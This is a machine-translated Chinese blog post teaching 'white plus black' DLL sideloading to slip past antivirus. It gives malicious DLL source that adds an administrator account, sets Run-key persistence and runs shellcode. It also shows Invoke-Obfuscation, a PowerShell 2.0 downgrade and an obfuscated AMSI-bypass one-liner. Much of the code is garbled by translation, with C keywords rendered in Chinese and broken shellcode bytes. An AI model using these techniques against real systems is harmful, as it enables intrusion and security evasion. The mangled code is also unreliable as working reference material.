防杀-白家黑初探

发布于:2024-10-24 编辑:匿名 来源:网络

0X00 前言 为什么需要白家黑的攻击方法?答:降本增效,我们知道,在未来AI+安全兴起的背景下,社会工程将成为攻防演练项目中成本最低、效率最高的攻击手段。这时,“白加黑”的成本优势就体现得淋漓尽致。

那么什么是白加黑呢?答:百家黑利用DLL劫持在应用程序的导出目录中创建DLL,并通过LoadLibrary函数加载DLL文件(或者找到现有的DLL注入恶意代码)。当目标尝试执行该文件(注意:不是执行恶意DLL文件)时,该白色文件会在应用程序加载时加载恶意DLL。

只要目标加载包含恶意代码的文件,攻击者就可以获得对目标计算机的访问权限。提示:该代码仅供参考,可能不起作用! ! ! 0X01 起源 在攻防演练中,运行恶意代码连接C2是最常见的方法,但由于对抗级别的增加。

以天晴、天晴等为代表的杀毒软件在检测信任链方面已经越来越成熟。这个时候,我们要么花巨资购买“签名”,要么研究使用杀毒软件中的白名单。

这时候有人会问,白名单怎么用呢?答:攻击者利用了 Microsoft Windows 应用程序加载 DLL 文件的方式。这里我们可以了解到,攻击者采用了“白加黑”的攻击方式(即使用白色文件加载恶意动态链接库(DLL))。

当攻击者利用社会工程钓鱼的方式让目标下载恶意文件到目标自己的电脑,然后点击运行白色文件时,该文件就会在运行时执行恶意DLL。我们通过构建“白加黑”可以达到以下目的:运行文件执行敏感命令(例如:执行MS系列POC、将Mimikatz变成shellcode执行...) 运行文件来达到提权的目的(例如:添加net user 创建新用户...)运行文件维护权限(如:添加新注册表)...补充:以天晴为代表的杀毒软件也会标记一些微软签名的Windows工具和.exe文件,如:PuDump、Rundll32、Msbuild……因此,攻击者需要实时更新自己的DLL白名单,否则反病毒效果很可能失效。

运行该文件达到执行敏感命令的目的代码语言:javascript copy/*DLL hijack run编译64位(Linux):i_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/#include <窗户。 h>#pragma comment (lib, "user32.lib")BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox( NULL, "hello world!", MB_OK );休息 ;案例 DLLPROCESSDETACH:中断;案例 DLLTHREADATTACH:中断;案例 DLLTHREADDETACH:中断; } return TRUE;}也许最简单的纠正措施包括确保所有软件都安装在受保护的目录 C:\Program Files 或 C:\Program Files (x86) 中。

如果软件无法安装在这些地方,下一个最简单的步骤是确保只有管理用户对安装目录具有“创建”或“写入”权限,以防止攻击者安装恶意 DLL 从而利用漏洞。运行该文件即可达到提权的目的。

代码语言: javascript copy/*DLL 提权编译(Linux) x64 编译: x86_64-w64-mingw32-gcc ill.c -shared -o xxx.dll x86 编译: iw64-mingw32 -gccvil.c -shared - o xxx.dll*/#include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("powershell.exe / k net 本地组管理员用户 /add" );休息;案例 DLLPROCESSDETACH:中断;案例 DLLTHREADATTACH:中断;案例 DLLTHREADDETACH:中断; } return TRUE;}运行该文件达到权限维护的目的。代码语言:javascript copy/*DLL 权限维护 编译(Linux) 对于 x64 编译:x86_64-w64-mingw32-gcc ill.c -shared -o xxx.dll 对于 x86 编译:iw64-mingw32-gcc ill.c -shared - o xxx.dll*/#include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HKEY hkey = NULL; const char* exe = "C:\\xxx.exe&q哦;; LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey); if (res == ERROR_SUCCESS) { RegSetValueEx(hkey, (LPCSTR )"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); RegCloseKey(hkey); } 休息;案例 DLLPROCESSDETACH:中断;案例 DLLTHREADATTACH:中断;案例 DLLTHREADDETACH:中断; } return TRUE;} 从上面的文章可以知道0X02的攻击方式。

主流的“白加黑”有三种不同的加载方式: 白色执行 黑色DLL 白色执行DLL 加载shellcode 白色加载shellcode 我们知道,程序编译时,可执行文件(PE)的头文件中会添加一个导入表它和导入表的作用是记住需要从哪个DLL导入哪些函数,因此每次白文件执行程序时,链接器知道要做什么并自动加载所有需要的库。这时候我们就可以找到一个合适的DLL(即有写权限的DLL),对其进行修改(即注入恶意代码),形成恶意黑DLL。

但如果没有合适的可修改的黑色DLL,而我们想让白色文件在运行时加载黑色DLL,那么Windows API提供的LoadLibrary()和LoadLibraryEx()函数给我们提供了一个新的思路,那就是通过该函数构造一个黑色DLL,并将该DLL的名称导入到导入表中,以便在运行白色文件时可以执行该DLL。以上两种不同的思路,导致了“白加黑”的两种不同思路,即可以修改原来的DLL,也可以创建黑DLL进行攻击。

这里补充一下,白加载shellcode就是我们所说的无文件登陆防杀!我们先说国内流行的前两种“白加黑”方式,然后再讲下一节关于无文件登陆的事情。白加黑寻找合适的白文件的大致流程(如:)>提示:建议手动搜索,脚本准确的概率不高! ! 2、检查文件夹权限,是否有写权限。

如果是的话,可以考虑直接修改。否则,请考虑通过LoadLibrary函数创建一个新的黑色DLL。

提示:我们知道Windows系统会按照预定的顺序搜索相关库的位置。 。

又因为DLL的执行顺序:应用程序加载的目录===>系统目录C:\Windows\System32===>系统目录C:\Windows\System===>Windows目录C:\ Windows===>当前工作目录===>PATH环境变量定义的目录;所以我们可以按照下图所示的顺序搜索DLL,并通过工具确定合适的DLL。白色执行黑色DLL 对于这种方法,我们根据所选白色文件的DLL的特点进行合理的修改!首先,我们可以使用库引用在白色文件的上下文中执行代码。

如果该文件允许LoadLibrary函数动态解析库的路径,则该文件还将在当前目录中查找库DLL。我们可以将“白加黑”复制到具有写权限的目录中。

如果我们需要创建自定义的黑色DLL,那么白色文件将加载黑色DLL并执行恶意代码。而且,我们要寻找的大部分白色文件都有签名,并且受到防病毒软件的信任,这大大增加了我们攻击成功的机会。

黑色DLL的代码演示(如下图): 代码语言:javascript copy /*DLL执行DLL命令编译64位(Linux):i_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/ # include "pch.h" # include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLLPROCESSATTACH: system("calc"); }案例 DLLTHREADATTACH:案例 DLLTHREADDETACH:中断; } return TRUE;} 并非所有导出的 DLL 劫持都满足。当用C/C++编写有效负载DLL时,DllMain中的控制流可能被劫持。

执行此操作时,无需枚举并满足所有所需的导出,即,可能存在 DLL 没有任何导出且只能通过 DllMain 入口点劫持的情况。白色执行DLL加载shellcode。

我们还可以构造一个恶意的黑色DLL,并在其中运行shellcode,以达到命令执行的效果,绕过和天晴的检测。黑色DLL加载shellcode的代码演示(如下图): 代码语言:javascript copy/*DLL 执行DLL命令编译64位(Linux):i_64-w64-mingw32-gcc -shared -o xxx.dll dll xxx.c */#include #include #include //加载shellcoder(微积分)64位unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4 、 0xf0、0xe8、0xc0、0x0、0x0、0x0、0x41、0x51、0x41、0x50、0x52、0x51、0x56、0x48、0x31、0xd2、0x65、0x48、0x8b、0x52、 60、0x4 8、0x8b、0x52、 0x18、0x48、0x8b、0x52、0x20、0x48、0x8b、0x72、0x50、0x48、0xf、0xb7、0x4a、0x4a、0x4d、0x31、0xc9、0x48、0x31、0xc0、交流、0x3c、0x 61、0x7c、0x2 、 0x2c、0x20、0x41、0xc1、0xc9、0xd、0x41、0x1、0xc1、0xe2、0xed、0x52、0x41、0x51、0x48、0x8b、0x52、0x20、0x8b、0x42、 3c、0x48、0x1、0xd0、0x8b , 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0、0x49、0x1、0xd0、0xe3 , 0x56, 0x48 , 0xff, 0xc9, };extern "A" __declspec(dllexport) void Go(void) { void * exec_mem; BOOL RV;处理th;双字旧保护 = 0;无符号整型payload_len = sizeof(payload); exec_mem = VirtualAlloc(1, Payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlMoveMemory(exec_mem,有效负载,有效负载_len); th = CreateThread( 0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1);}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulreason_forcall, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: 中断; } return TRUE;}0X03 无文件登陆内存(asmi)/行为(edr)检测我们知道,一旦启用Powershell,就会导致Microsoft Defender调用ASMI接口进行检测。

不过,我们要注意的是,在启动Powershell时,asmi. exe已被注入到powershell.exe进程中,因此Defender可以通过ASMI功能检测恶意行为。而且由于某些原因,Powershell的无文件杀毒程序在国内并不是很流行,因为天晴一旦发现Powershell正在运行一些敏感函数,就会将其标记为直接拦截,导致执行失败。

不过,它可以绕过 Tinder 等防病毒软件。Powershell Obfuscation Invoke-Obfuscation 是一个兼容 PowerShellv2.0+ 的 PowerShell 命令和脚本混淆器(github 地址:.\Invoke-Obfuscation.psd1 Invoke-Obfuscation 然后指定脚本路径,系统会提示您使用混淆方法菜单,如下所示:set scriptpath xxxx.ps1 此时我们可以选择合适的混淆方式,在Invoke-Obfuscate提示符下运行命令选择该选项:token all5 最后输出混淆后的.ps1脚本代码语言: javascript copy 1out xxx .ps1 我们已经能够成功混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您可以使用Invoke-Obfuscate对单个PowerShell命令进行混淆或编码。

建议您进行二次开发并删除该命令。加密的特征值,防病毒效果更好。

注意:使用的目标应该能够执行PowerShell脚本,否则我们将无法执行混淆/编码的PowerShell脚本。当然,EDR也是可以绕过的。

为了防止我们被EDR发现,我们需要针对PowerShell。 “降级版本”操作,如果你有能力降级到Powershell 2.0,这可以让你绕过ConstrainedLanguage模式。

虽然效果很好,但是如果 edr 对版本进行了标记,仍然会引发异常。代码语言:javascript 复制 $ExecutionContext. SessionState.LanguageModePowershell$ExecutionContext.SessionState.LanguageModePowershell -version 2 提示:Win10及以上版本可能需要安装Powershell版本2才能利用它! ASMI防病毒处理为了避免Powershell的防病毒,我们有以下几种内存规避的方法。

:专注于内存操作,不将文件写入磁盘。利用各种 Windows API 将有效负载注入进程,然后在内存中的单独线程中执行有效负载。

不过ASMI对于Powershell的反病毒还是有致命的打击,所以我们需要对Powershell的ASMI反病毒进行具体的研究。利用加密方法绕过AMSI的常用方法,例如将Windows Script\Settings\AmsiEnable的值更改为0,利用网站混淆来绕过代码语言: javascript copy #Matt Graebers第二个反射方法 $wfSi=$null;$hlrajhy=" $([char](30)+[cHaR]( [字节]0x79)+[CHAR]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](*20/20)+[字符](*46/46)).$([字符](65)+[字符](97-89)+[字符]([字节]0x6e)+[字符]([字节]0x61)+[字符]([ByTe]0x67)+[ChAR]() +[CHAR]([byTe]0x6d)+[cHaR]([byteE]0x65)+[chAr]([ByTe]0x6e)+[cHar]()) .$(('ut?mát'+'íón').NORMAlizE([charR](33)+[cHAR]()+[ChAR]([BYTE]0x72)+[CHAR](28)+[CHAR](68 )) - 替换 [charR](92-71)+ [cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE] 0x6e)+[ChaR](53)).$( ('ms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr]( 24)+[char](22)+[cHar] (68-36)) - 替换 [cHAR]([bYTe]0x5c)+[Char](50)+[chAr]([bYtE]0x7b)+[CHAR ](77)+[char]([byTE]0x6e)+[char]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'?').NormALize([CHaR](70-47)+[ChaR]()+[cHaR]([BYtE]0x72)+[ cCHAR]([ByTe]0x6d)+[CHAR](68*53/53)) - 替换 [CHAR]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b )+[chaR](77)+[cHaR](87)+[char](*25/25)";[Threading.Thread]::Sleep();[Runtime.InteropServices.Marshal]::("$ ([cHAR]([ByTe]0x57)+[char]()+[Char]([字节]0x69)+[ChAR]()+[chAR]([字节]0x65)+[ChAR](73-49 )+[chAr](78)+[chAR]([BYte]0x74)+[CHAR]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType ($hlrajhy).GetField("$(('àmsìC'+'?ntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char]( 75)+[CHAR]([ByTE]0x6d)+[CHaR]([byTE]0x44)) - 替换 [CHAR]([BYtE]0x5c)+[cHar](67)+[CHaR](7)+[ Char]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"非公共,静态").GetValue($wfSi),0xf72c );网站链接:-x-d:强制,扫描加载的模块-o:指定输出文件。

防杀-白家黑初探

站长声明

版权声明:本文内容由互联网用户自发贡献,本站不拥有所有权,不承担相关法律责任。如果发现本站有涉嫌抄袭的内容,欢迎发送邮件 举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。

标签:

相关文章

  • 投资界新闻 -松禾资本正式推出三支新基金,计划募资总额近30亿元

    投资界新闻 -松禾资本正式推出三支新基金,计划募资总额近30亿元

    投资圈(ID:pedaily)据6月1日消息,松禾资本宣布正式推出松禾创新基金和松禾资本嘉实创新基金。 、松鹤美元基金等三只新基金计划募资总额分别为20亿元人民币和1亿美元。 据悉,这三支基金将重点关注高科技和前沿技术领域相关的创业项目。    具体而言,松鹤资本将依托松鹤

    06-18

  • 今年,VC-PE开始来县里找钱

    今年,VC-PE开始来县里找钱

    这是今年难得一见的场景。 投资界获悉,昆山产业发展投资母基金近日正式成立,总规模1亿元,期限10年。 其中,一期规模20亿元,昆山国科创业投资有限公司担任母基金管理人。 作为一个县级市,昆山一举设立百亿基金中的基金,让创投圈感到惊讶。 事实上,不仅是昆山市,今年越

    06-18

  • LV早春6w棒球衣? 59元就能买到!

    LV早春6w棒球衣? 59元就能买到!

    时尚界偶尔出现衬衫搭配事件还可以理解,但这一次Louis Vuitton万众期待的早春登场,其中一件早春棒球衣居然和我国的小学生校服“碰撞”了! 6.9万元的售价与59元的设定价的对比,让忠于Louis Vuitton的国人感到不安。 这款早春男士棒球夹克采用湖绿色和黑色配色,LV Fanzine

    06-21

  • 模拟芯片公司“阳晓电子”完成近亿元A轮融资,亿达资本领投

    模拟芯片公司“阳晓电子”完成近亿元A轮融资,亿达资本领投

    投资圈(ID:pedaily)10月25日消息,模拟芯片公司西安阳晓电子阳晓电子科技有限公司(简称“阳晓电子”)近日完成近亿元A轮融资,由亿达资本领投,明善资本、纳川资本、石溪资本跟投。 本轮融资将帮助阳晓电子进一步打造和完善动力链芯片在工业领域的布局。 阳晓电子成立于2

    06-18

  • 驹马物流获远洋集团数亿元B+轮融资,深耕城市配送

    驹马物流获远洋集团数亿元B+轮融资,深耕城市配送

    巨马物流获得远洋集团数亿元B+轮融资,深耕城市配送。 据投资界2月11日消息,据亿欧网报道,创始人与钜马物流CEO白如冰在年会上宣布,钜马物流获得远洋集团数亿元B+轮融资。 据悉,2020年,巨马物流将继续深耕城市配送。   巨马物流成立于2007年,主要从事城市配送服务。 最

    06-17

  • 美妆产业链新物种朱迪先生获微影资本1500万元Pre-A轮融资

    美妆产业链新物种朱迪先生获微影资本1500万元Pre-A轮融资

    投资界11月6日报道称,美妆产业链新物种朱迪先生,获得微影资本1500万元Pre-A轮融资。 朱迪先生拟将本轮融资用于城市门店拓展、IT信息化建设、产品研发迭代、教育培训体系、投资及加盟招募等。 朱迪先生的主营业务包括美发、护发、头皮管理及其他服务。 主要提供方便、快捷、

    06-18

  • Mr.Judy获维盈资本1500万元Pre-A轮融资

    Mr.Judy获维盈资本1500万元Pre-A轮融资

    据投资界11月6日消息,护发头皮管理服务商Mr.Judy完成Pre-A轮融资融资1万元,由维盈资本投资,据悉,本轮募集资金将主要用于城市门店扩张、IT信息化建设、产品研发迭代、教育培训体系、招商推广等。 Judy成立于2007年,隶属于北京小悦科技有限公司,是一家护发、头皮管理服务

    06-18

  • “运去哪”宣布完成1亿美元D1轮融资,加强海外物流网络建设

    “运去哪”宣布完成1亿美元D1轮融资,加强海外物流网络建设

    智慧物流在线服务平台“运去哪”正式宣布完成美国D1轮融资1亿美元。 本次融资完成后,云去哪儿成为国际物流数字化领域首家完成D轮融资的中国公司,估值达到独角兽级别(10亿美元)。 本轮融资完成后,云船纳将进一步加强海外网络建设以及数字新技术在国际物流中的应用。

    06-17

  • 芯片提供商“沐创”完成A1轮融资

    芯片提供商“沐创”完成A1轮融资

    近日,可重构安全芯片和智能网络控制器芯片提供商“沐创”完成A1轮融资。 本轮融资由中国电子科研投资基金领投,德开元太极老股东清空银杏、力石创投也参与投资。 本轮融资将主要用于沐创可重构安全芯片和智能网络控制芯片的大规模交付。

    06-17

  • 东车日报 -新福克斯亮相,三缸终于成为历史-特斯拉Semi最新谍照曝光-丰田赛那将迎来姐妹车型

    东车日报 -新福克斯亮相,三缸终于成为历史-特斯拉Semi最新谍照曝光-丰田赛那将迎来姐妹车型

    介绍智能精灵#1完成空气动力学和极寒测试特斯拉Semi最新谍照曝光林肯计划年前推出5款纯电动SUV。 丰田赛那姊妹车试驾版曝光,或于9月上市。 三缸终于成为历史。 新款福特福克斯应用图已发布。 宁德时代发表声明驳斥诸多传闻。 有消息称,特斯拉可能在北京设立中国设计中心。

    06-21

  • 微信刚刚全面放出了需要你喊出来的“隐藏功能”

    微信刚刚全面放出了需要你喊出来的“隐藏功能”

    微信的功能基本上都摆在你面前,彩蛋很少,缺乏一些用户自行探索的空间。 不过,我们今天发现的“隐藏功能”却是一个例外。 该功能需要您执行一定的操作后才会出现。 该功能是公众号底部“相关阅读”的升级版。 用户通过“点赞、观看、分享”等互动动作表达对文章的喜欢后,将

    06-21

  • 飞通生物科技完成数千万元Pre-A轮融资

    飞通生物科技完成数千万元Pre-A轮融资

    据投资界9月29日消息,据36氪报道,飞通生物科技近日完成数千万元Pre-A轮融资。 本轮融资由景诚资本独家投资,将用于推进公司在研项目进入IND阶段,以及其他产品管线的临床前研发。 飞通生物是肿瘤免疫治疗领域生物大分子靶向药物的研发机构。 李庆博士师的诺贝尔化学奖奖获得

    06-17